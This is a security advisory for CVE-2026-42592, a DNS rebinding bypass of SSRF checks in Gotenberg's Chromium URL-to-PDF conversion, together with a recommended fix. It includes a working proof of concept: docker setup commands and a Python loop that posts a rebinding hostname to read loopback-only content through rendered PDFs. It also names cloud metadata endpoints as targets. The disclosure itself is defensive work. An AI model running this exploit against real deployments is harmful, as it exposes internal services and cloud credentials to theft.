GHSA-2PMR-289P-44R3
Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-05-14 20:52Summary
FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.
Details
pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
_, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
return err
}
The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.
The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.
The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.
Proof of Concept
Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.
Setup:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
'mkdir -p /tmp/rebind_srv && \
echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'
Alice runs the attack without auth:
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"
hits = 0
for i in range(20):
r = requests.post(
f"{T}/forms/chromium/convert/url",
files={"url": (None, REBIND)},
timeout=30,
)
if r.status_code != 200:
continue
open("/tmp/_r.pdf", "wb").write(r.content)
txt = subprocess.run(
["pdftotext", "/tmp/_r.pdf", "-"],
capture_output=True, text=True,
).stdout
if MARKER in txt:
hits += 1
print(f"{hits}/20 rebind hits")
Observed output against gotenberg 8.31.0:
2/20 rebind hits
The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.
Impact
An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.
Recommended Fix
Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
allow = false
} else if len(decision.Pinned) > 0 {
pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}
Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42592"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:57:37Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium\u0027s actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium\u0027s network stack issues its own DNS lookup for the hostname, independent of Go\u0027s resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.\u003csubdomain\u003e.requestrepo.com` resolves to `\u003cpublic-ip\u003e` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `\u003cpublic-ip\u003e%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n \u0027mkdir -p /tmp/rebind_srv \u0026\u0026 \\\n echo \"\u003ch1\u003eINTERNAL-ONLY-REBIND-HIT\u003c/h1\u003e\" \u003e /tmp/rebind_srv/index.html\u0027\ndocker exec -d gotenberg-poc sh -c \\\n \u0027cd /tmp/rebind_srv \u0026\u0026 python3 -m http.server 80 --bind 127.0.0.1\u0027\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.\u003csubdomain\u003e.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n r = requests.post(\n f\"{T}/forms/chromium/convert/url\",\n files={\"url\": (None, REBIND)},\n timeout=30,\n )\n if r.status_code != 200:\n continue\n open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n txt = subprocess.run(\n [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n capture_output=True, text=True,\n ).stdout\n if MARKER in txt:\n hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker\u0027s PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container\u0027s loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg\u0027s deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker\u0027s normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg\u0027s `decideOutbound` check all the way to Chromium\u0027s connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n allow = false\n} else if len(decision.Pinned) \u003e 0 {\n pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP \u003chostname\u003e \u003cpinned-ip\u003e\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-2pmr-289p-44r3",
"modified": "2026-05-14T20:52:21Z",
"published": "2026-05-07T00:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42592"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg\u0027s DNS rebinding bypasses SSRF validation on Chromium URL conversion routes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.